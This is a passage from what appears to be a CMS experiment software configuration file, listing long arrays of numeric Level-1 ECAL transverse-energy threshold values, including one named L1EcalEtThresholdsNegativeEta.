43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117)+cms.vdouble(117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5)+cms.vdouble(117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116)+cms.vdouble(116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5)+cms.vdouble(116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115)+cms.vdouble(115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5)+cms.vdouble(115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114)+cms.vdouble(114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5)+cms.vdouble(114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5 ), L1EcalEtThresholdsNegativeEta = cms.vdouble( 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127)+cms.vdouble(127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5)+cms.vdouble(127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126)+cms.vdouble(126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5)+cms.vdouble(126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125)+cms.vdouble(125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5)+cms.vdouble(125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 